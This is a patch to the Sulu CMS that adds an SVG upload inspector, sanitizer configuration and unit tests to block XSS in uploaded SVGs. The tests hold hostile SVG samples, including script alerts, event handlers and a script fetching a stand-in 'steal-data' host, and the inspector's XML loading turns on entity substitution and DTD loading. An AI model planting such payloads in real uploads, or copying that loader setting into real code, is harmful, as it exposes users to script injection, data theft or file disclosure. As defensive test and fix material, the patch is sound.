Sulu vulnerable to XSS via uploaded SVG

@@ -84,6 +84,7 @@
         "symfony/finder": "^5.4 || ^6.0",
         "symfony/form": "^5.4 || ^6.0",
         "symfony/framework-bundle": "^5.4 || ^6.0",
+        "symfony/html-sanitizer": "^5.4 || ^6.0",
         "symfony/http-client": "^5.4 || ^6.0",
         "symfony/http-foundation": "^5.4 || ^6.0",
         "symfony/http-kernel": "^5.4 || ^6.0",
@@ -252,10 +253,13 @@
         "lint-rector": [
             "Composer\\Config::disableProcessTimeout",
             "@php bin/websiteconsole cache:warmup --env=dev",
+            "@php bin/adminconsole cache:warmup --env=dev",
             "@php vendor/bin/rector process --dry-run"
         ],
         "rector": [
             "Composer\\Config::disableProcessTimeout",
+            "@php bin/websiteconsole cache:warmup --env=dev",
+            "@php bin/adminconsole cache:warmup --env=dev",
             "@php vendor/bin/rector process"
         ],
         "lint-composer": "@composer validate --strict",

@@ -0,0 +1,24 @@
+<?php
+
+/*
+ * This file is part of Sulu.
+ *
+ * (c) Sulu GmbH
+ *
+ * This source file is subject to the MIT license that is bundled
+ * with this source code in the file LICENSE.
+ */
+
+namespace Sulu\Bundle\MediaBundle\FileInspector;
+
+use Symfony\Component\HttpFoundation\File\UploadedFile;
+
+interface FileInspectorInterface
+{
+    public function supports(string $mimeType): bool;
+
+    /**
+     * @throws UnsafeFileException
+     */
+    public function inspect(UploadedFile $file): UploadedFile;
+}

@@ -0,0 +1,100 @@
+<?php
+
+declare(strict_types=1);
+
+/*
+ * This file is part of Sulu.
+ *
+ * (c) Sulu GmbH
+ *
+ * This source file is subject to the MIT license that is bundled
+ * with this source code in the file LICENSE.
+ */
+
+namespace Sulu\Bundle\MediaBundle\FileInspector;
+
+use Symfony\Component\HtmlSanitizer\HtmlSanitizerInterface;
+use Symfony\Component\HttpFoundation\File\UploadedFile;
+
+/**
+ * @final
+ */
+class SvgFileInspector implements FileInspectorInterface
+{
+    private const UNSAFE_ELEMENTS = ['script', 'iframe', 'foreignObject', 'use', 'image', 'animate'];
+    private const UNSAFE_ATTRIBUTES = ['on', 'xlink:href', 'href'];
+
+    public function __construct(
+        private HtmlSanitizerInterface $htmlSanitizer,
+        private HtmlSanitizerInterface $htmlSanitizerSafe,
+    ) {
+    }
+
+    public function supports(string $mimeType): bool
+    {
+        return 'image/svg+xml' === $mimeType;
+    }
+
+    public function inspect(UploadedFile $file): UploadedFile
+    {
+        $svg = $file->getContent();
+
+        if ($this->containsUnsafeContent($svg)) {
+            throw new UnsafeFileException($file);
+        }
+
+        $cleanedUpSvg = $this->htmlSanitizer->sanitize($svg);
+        $safeSvg = $this->htmlSanitizerSafe->sanitize($svg);
+
+        if ($this->normalizeString($cleanedUpSvg) !== $this->normalizeString($safeSvg)) {
+            throw new UnsafeFileException($file);
+        }
+
+        return $file;
+    }
+
+    private function containsUnsafeContent(string $svg): bool
+    {
+        \libxml_use_internal_errors(true);
+        $dom = new \DOMDocument();
+        $dom->loadXML($svg, \LIBXML_NOENT | \LIBXML_DTDLOAD);
+        \libxml_clear_errors();
+
+        foreach (self::UNSAFE_ELEMENTS as $element) {
+            if ($dom->getElementsByTagName($element)->length > 0) {
+                return true;
+            }
+        }
+
+        $xpath = new \DOMXPath($dom);
+        $xpath->registerNamespace('svg', 'http://www.w3.org/2000/svg');
+        $xpath->registerNamespace('xlink', 'http://www.w3.org/1999/xlink');
+
+        foreach (self::UNSAFE_ATTRIBUTES as $attr) {
+            $query = "//*[starts-with(name(@*), '$attr') or @*[contains(., 'javascript:')]]";
+            $node = $xpath->query($query);
+            if (false === $node || $node->length > 0) {
+                return true;
+            }
+        }
+
+        // Check for event handlers
+        $eventHandlerQuery = "//*[@*[starts-with(name(), 'on')]]";
+        $node = $xpath->query($eventHandlerQuery);
+        if (false === $node || $node->length > 0) {
+            return true;
+        }
+
+        // Check for data URIs
+        if (\str_contains($svg, 'data:')) {
+            return true;
+        }
+
+        return false;
+    }
+
+    private function normalizeString(string $input): string
+    {
+        return \strtolower((string) \preg_replace('/\s+/', '', $input));
+    }
+}

@@ -0,0 +1,64 @@
+<?php
+
+declare(strict_types=1);
+
+/*
+ * This file is part of Sulu.
+ *
+ * (c) Sulu GmbH
+ *
+ * This source file is subject to the MIT license that is bundled
+ * with this source code in the file LICENSE.
+ */
+
+namespace Sulu\Bundle\MediaBundle\FileInspector;
+
+use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+use Symfony\Component\HtmlSanitizer\HtmlSanitizerInterface;
+
+/**
+ * @internal
+ */
+final class SvgSanitizerFactory
+{
+    public function createSafe(): HtmlSanitizerInterface
+    {
+        $config = (new HtmlSanitizerConfig())
+            ->allowElement('svg', ['width', 'height', 'viewBox'])
+            ->allowElement('g', ['id'])
+            ->allowElement('path', ['d', 'fill', 'stroke', 'stroke-width', 'class'])
+            ->allowElement('circle', ['cx', 'cy', 'r', 'fill', 'stroke', 'stroke-width', 'class'])
+            ->allowElement('rect', ['x', 'y', 'width', 'height', 'fill', 'stroke', 'stroke-width', 'class'])
+            ->allowElement('line', ['x1', 'y1', 'x2', 'y2', 'stroke', 'stroke-width', 'class'])
+            ->allowElement('polyline', ['points', 'fill', 'stroke', 'stroke-width', 'class'])
+            ->allowElement('polygon', ['points', 'fill', 'stroke', 'stroke-width', 'class'])
+            ->allowElement('text', ['x', 'y', 'font-family', 'font-size', 'fill', 'class'])
+            ->allowElement('style')
+            ->allowAttribute('class', '*')
+            ->allowAttribute('style', '*');
+
+        return new HtmlSanitizer($config);
+    }
+
+    public function create(): HtmlSanitizerInterface
+    {
+        $config = (new HtmlSanitizerConfig())
+            ->allowElement('svg', ['width', 'height', 'viewBox'])
+            ->allowElement('g', ['id'])
+            ->allowElement('path', ['d', 'fill', 'stroke', 'stroke-width', 'class'])
+            ->allowElement('circle', ['cx', 'cy', 'r', 'fill', 'stroke', 'stroke-width', 'class'])
+            ->allowElement('rect', ['x', 'y', 'width', 'height', 'fill', 'stroke', 'stroke-width', 'class'])
+            ->allowElement('line', ['x1', 'y1', 'x2', 'y2', 'stroke', 'stroke-width', 'class'])
+            ->allowElement('polyline', ['points', 'fill', 'stroke', 'stroke-width', 'class'])
+            ->allowElement('polygon', ['points', 'fill', 'stroke', 'stroke-width', 'class'])
+            ->allowElement('text', ['x', 'y', 'font-family', 'font-size', 'fill', 'class'])
+            ->allowElement('style')
+            ->allowAttribute('class', '*')
+            ->allowAttribute('style', '*')
+            ->dropAttribute('xlink:href', '*')
+            ->dropAttribute('href', '*');
+
+        return new HtmlSanitizer($config);
+    }
+}

@@ -0,0 +1,31 @@
+<?php
+
+/*
+ * This file is part of Sulu.
+ *
+ * (c) Sulu GmbH
+ *
+ * This source file is subject to the MIT license that is bundled
+ * with this source code in the file LICENSE.
+ */
+
+namespace Sulu\Bundle\MediaBundle\FileInspector;
+
+use Symfony\Component\HttpFoundation\File\UploadedFile;
+
+class UnsafeFileException extends \Exception
+{
+    public function __construct(
+        private UploadedFile $uploadedFile,
+    ) {
+        parent::__construct(\sprintf(
+            'The file "%s" is not safe.',
+            $uploadedFile->getClientOriginalName(),
+        ));
+    }
+
+    public function getUploadedFile(): UploadedFile
+    {
+        return $this->uploadedFile;
+    }
+}

@@ -0,0 +1,71 @@
+<?php
+
+declare(strict_types=1);
+
+/*
+ * This file is part of Sulu.
+ *
+ * (c) Sulu GmbH
+ *
+ * This source file is subject to the MIT license that is bundled
+ * with this source code in the file LICENSE.
+ */
+
+namespace Sulu\Bundle\MediaBundle\FileInspector;
+
+use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+use Symfony\Component\HttpFoundation\File\UploadedFile;
+use Symfony\Component\HttpKernel\Event\RequestEvent;
+use Symfony\Component\HttpKernel\Exception\BadRequestHttpException;
+
+/**
+ * @internal
+ */
+final class UploadFileSubscriber implements EventSubscriberInterface
+{
+    /**
+     * @return array<string, string>
+     */
+    public static function getSubscribedEvents(): array
+    {
+        return [
+            'kernel.request' => 'onKernelRequest',
+        ];
+    }
+
+    /**
+     * @var FileInspectorInterface[]
+     */
+    private array $fileInspectors;
+
+    /**
+     * @param iterable<FileInspectorInterface> $fileInspectors
+     */
+    public function __construct(
+        iterable $fileInspectors,
+    ) {
+        $this->fileInspectors = \iterator_to_array($fileInspectors);
+    }
+
+    public function onKernelRequest(RequestEvent $event): void
+    {
+        $request = $event->getRequest();
+
+        /**
+         * @var string $key
+         * @var UploadedFile $file
+         */
+        foreach ($request->files as $key => $file) {
+            foreach ($this->fileInspectors as $fileInspector) {
+                $mimeType = $file->getClientMimeType();
+                if (null !== $mimeType && $fileInspector->supports($mimeType)) {
+                    try {
+                        $request->files->set($key, $fileInspector->inspect($file));
+                    } catch (UnsafeFileException $exception) {
+                        throw new BadRequestHttpException($exception->getMessage(), $exception);
+                    }
+                }
+            }
+        }
+    }
+}

@@ -509,5 +509,44 @@
             <tag name="jms_serializer.event_subscriber"/>
             <tag name="sulu.context" context="admin"/>
         </service>
+
+        <service
+            id="sulu_media.file_inspector.sanitizer_factory"
+            class="Sulu\Bundle\MediaBundle\FileInspector\SvgSanitizerFactory"
+        />
+
+        <service
+            id="sulu_media.file_inspector.html_sanitizer"
+            class="Symfony\Component\HtmlSanitizer\HtmlSanitizerInterface"
+        >
+            <factory service="sulu_media.file_inspector.sanitizer_factory" method="create"/>
+        </service>
+
+        <service
+            id="sulu_media.file_inspector.html_sanitizer_safe"
+            class="Symfony\Component\HtmlSanitizer\HtmlSanitizerInterface"
+        >
+            <factory service="sulu_media.file_inspector.sanitizer_factory" method="createSafe"/>
+        </service>
+
+        <service
+            id="sulu_media.file_inspector.svg_inspector"
+            class="Sulu\Bundle\MediaBundle\FileInspector\SvgFileInspector"
+        >
+            <argument type="service" id="sulu_media.file_inspector.html_sanitizer"/>
+            <argument type="service" id="sulu_media.file_inspector.html_sanitizer_safe"/>
+
+            <tag name="sulu_media.file_inspector"/>
+        </service>
+        <service id="Sulu\Bundle\MediaBundle\FileInspector\SvgSafetyInspectorInterface" alias="sulu_media.file_inspector.svg_inspector"/>
+
+        <service
+            id="sulu_media.file_inspector.subscriber"
+            class="Sulu\Bundle\MediaBundle\FileInspector\UploadFileSubscriber"
+        >
+            <argument type="tagged" tag="sulu_media.file_inspector"/>
+
+            <tag name="kernel.event_subscriber"/>
+        </service>
     </services>
 </container>

@@ -0,0 +1,79 @@
+<?php
+
+declare(strict_types=1);
+
+/*
+ * This file is part of Sulu.
+ *
+ * (c) Sulu GmbH
+ *
+ * This source file is subject to the MIT license that is bundled
+ * with this source code in the file LICENSE.
+ */
+
+namespace Sulu\Bundle\MediaBundle\Tests\Unit\SvgInspector;
+
+use PHPUnit\Framework\TestCase;
+use Prophecy\PhpUnit\ProphecyTrait;
+use Sulu\Bundle\MediaBundle\FileInspector\SvgFileInspector;
+use Sulu\Bundle\MediaBundle\FileInspector\SvgSanitizerFactory;
+use Sulu\Bundle\MediaBundle\FileInspector\UnsafeFileException;
+use Symfony\Component\HttpFoundation\File\UploadedFile;
+
+class SvgFileInspectorTest extends TestCase
+{
+    use ProphecyTrait;
+
+    public static function provideSvgs(): \Generator
+    {
+        // Safe SVGs
+        yield 'simple svg' => ['<svg></svg>', true];
+        yield 'simple svg with text' => ['<svg>text</svg>', true];
+        yield 'svg with attributes' => ['<svg width="100" height="100" viewBox="0 0 100 100"></svg>', true];
+        yield 'svg with path' => ['<svg><path d="M10 10 H 90 V 90 H 10 L 10 10"/></svg>', true];
+        yield 'svg with style' => ['<svg><style>.cls-1{fill:none;}</style><circle class="cls-1" cx="50" cy="50" r="40"/></svg>', true];
+
+        // Potentially unsafe SVGs
+        yield 'svg with script tag' => ['<svg><script>alert("XSS")</script></svg>', false];
+        yield 'svg with event handler' => ['<svg><circle cx="50" cy="50" r="40" onclick="alert(\'XSS\')"/></svg>', false];
+        yield 'svg with iframe' => ['<svg><iframe src="http://example.com"></iframe></svg>', false];
+        yield 'svg with external reference' => ['<svg><use xlink:href="http://example.com/image.svg#fragment"/></svg>', false];
+        yield 'svg with data URI' => ['<svg><image href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg=="/></svg>', false];
+        yield 'svg with javascript in attribute' => ['<svg><a xlink:href="javascript:alert(\'XSS\')">Click me</a></svg>', false];
+
+        // Additional potentially unsafe SVGs
+        yield 'svg with onload event' => ['<svg width="100" height="100" onload="alert(\'XSS\')"></svg>', false];
+        yield 'svg with foreignObject' => ['<svg><foreignObject width="100%" height="100%"><body xmlns="http://www.w3.org/1999/xhtml"><script>alert("XSS")</script></body></foreignObject></svg>', false];
+        yield 'svg with base64 encoded script' => ['<svg><image href="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoJ1hTUyB2aWEgYmFzZTY0IScpIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiPjwv c3ZnPg==" /></svg>', false];
+        yield 'svg with setTimeout' => ['<svg><script type="text/javascript">setTimeout(function() { alert("XSS"); }, 1000);</script></svg>', false];
+        yield 'svg with external script' => ['<svg><script type="text/javascript" xlink:href="http://malicious.com/xss.js"></script></svg>', false];
+        yield 'svg with animate element' => ['<svg><circle cx="50" cy="50" r="40"><animate attributeName="r" from="40" to="20" dur="1s" begin="mouseover" onend="alert(\'XSS\')"/></circle></svg>', false];
+        yield 'svg with onclick event in text' => ['<svg><text x="10" y="50" onclick="alert(\'XSS\')">Click me!</text></svg>', false];
+        yield 'svg with external fetch' => ['<svg><script>fetch("http://malicious.com/steal-data").then(response => response.text()).then(data => console.log(data));</script></svg>', false];
+        yield 'svg with conditional script' => ['<svg><script>if (confirm("Proceed?")) { alert("XSS"); }</script></svg>', false];
+        yield 'svg with phishing link' => ['<svg><a href="http://phishing-site.com" target="_blank"><text x="10" y="50">Click here for a prize!</text></a></svg>', false];
+    }
+
+    /**
+     * @dataProvider provideSvgs
+     */
+    public function testIsSafe(string $svg, bool $expectedSafe): void
+    {
+        if (!$expectedSafe) {
+            $this->expectException(UnsafeFileException::class);
+        }
+
+        $factory = new SvgSanitizerFactory();
+
+        \file_put_contents('test.svg', $svg);
+        $uploadedFile = new UploadedFile('test.svg', 'test.svg', 'image/svg+xml');
+
+        $svgSafetyInspector = new SvgFileInspector($factory->create(), $factory->createSafe());
+
+        $result = $svgSafetyInspector->inspect($uploadedFile);
+
+        if ($expectedSafe) {
+            $this->assertSame($uploadedFile, $result);
+        }
+    }
+}

@@ -0,0 +1,110 @@
+<?php
+
+declare(strict_types=1);
+
+/*
+ * This file is part of Sulu.
+ *
+ * (c) Sulu GmbH
+ *
+ * This source file is subject to the MIT license that is bundled
+ * with this source code in the file LICENSE.
+ */
+
+namespace Sulu\Bundle\MediaBundle\Tests\Unit\SvgInspector;
+
+use PHPUnit\Framework\TestCase;
+use Prophecy\PhpUnit\ProphecyTrait;
+use Prophecy\Prophecy\ObjectProphecy;
+use Sulu\Bundle\MediaBundle\FileInspector\FileInspectorInterface;
+use Sulu\Bundle\MediaBundle\FileInspector\UnsafeFileException;
+use Sulu\Bundle\MediaBundle\FileInspector\UploadFileSubscriber;
+use Symfony\Component\HttpFoundation\File\UploadedFile;
+use Symfony\Component\HttpFoundation\Request;
+use Symfony\Component\HttpKernel\Event\RequestEvent;
+use Symfony\Component\HttpKernel\Exception\BadRequestHttpException;
+use Symfony\Component\HttpKernel\HttpKernelInterface;
+
+class UploadFileSubscriberTest extends TestCase
+{
+    use ProphecyTrait;
+
+    /**
+     * @var ObjectProphecy<FileInspectorInterface>
+     */
+    private ObjectProphecy $svgInspector;
+
+    private UploadFileSubscriber $subscriber;
+
+    protected function setUp(): void
+    {
+        $this->svgInspector = $this->prophesize(FileInspectorInterface::class);
+        $this->subscriber = new UploadFileSubscriber(new \ArrayObject([$this->svgInspector->reveal()]));
+    }
+
+    public function testGetSubscribedEvents(): void
+    {
+        $this->assertSame(
+            ['kernel.request' => 'onKernelRequest'],
+            UploadFileSubscriber::getSubscribedEvents(),
+        );
+    }
+
+    public function testOnKernelRequestWithSafeSvg(): void
+    {
+        $mimeType = 'image/svg+xml';
+        $uploadedFile = new UploadedFile('test.svg', 'test.svg', $mimeType, 0, true);
+
+        $request = new Request([], [], [], [], ['file' => $uploadedFile]);
+        $event = $this->createRequestEvent($request);
+
+        $this->svgInspector->supports($mimeType)->willReturn(true);
+        $this->svgInspector->inspect($uploadedFile)->willReturn($uploadedFile);
+
+        $this->subscriber->onKernelRequest($event);
+
+        // If we reach here without exception, the test passes
+        $this->addToAssertionCount(1);
+    }
+
+    public function testOnKernelRequestWithUnsafeSvg(): void
+    {
+        $this->expectException(BadRequestHttpException::class);
+
+        $mimeType = 'image/svg+xml';
+        $uploadedFile = new UploadedFile('test.svg', 'test.svg', $mimeType, 0, true);
+
+        $request = new Request([], [], [], [], ['file' => $uploadedFile]);
+        $event = $this->createRequestEvent($request);
+
+        $this->svgInspector->supports($mimeType)->willReturn(true);
+        $this->svgInspector->inspect($uploadedFile)->willThrow(new UnsafeFileException($uploadedFile));
+
+
+        $this->subscriber->onKernelRequest($event);
+    }
+
+    public function testOnKernelRequestWithNonSvgFile(): void
+    {
+        $mimeType = 'image/jpeg';
+        $uploadedFile = new UploadedFile('test.svg', 'test.svg', $mimeType, 0, true);
+
+        $request = new Request([], [], [], [], ['file' => $uploadedFile]);
+        $event = $this->createRequestEvent($request);
+
+        $this->svgInspector->supports($mimeType)->willReturn(false);
+        $this->svgInspector->inspect($uploadedFile)->shouldNotBeCalled();
+
+        $this->subscriber->onKernelRequest($event);
+
+        // If we reach here without exception, the test passes
+        $this->addToAssertionCount(1);
+    }
+
+    private function createRequestEvent(Request $request): RequestEvent
+    {
+        $kernel = $this->prophesize(HttpKernelInterface::class);
+
+        return new RequestEvent($kernel->reveal(), $request, HttpKernelInterface::MAIN_REQUEST);
+    }
+}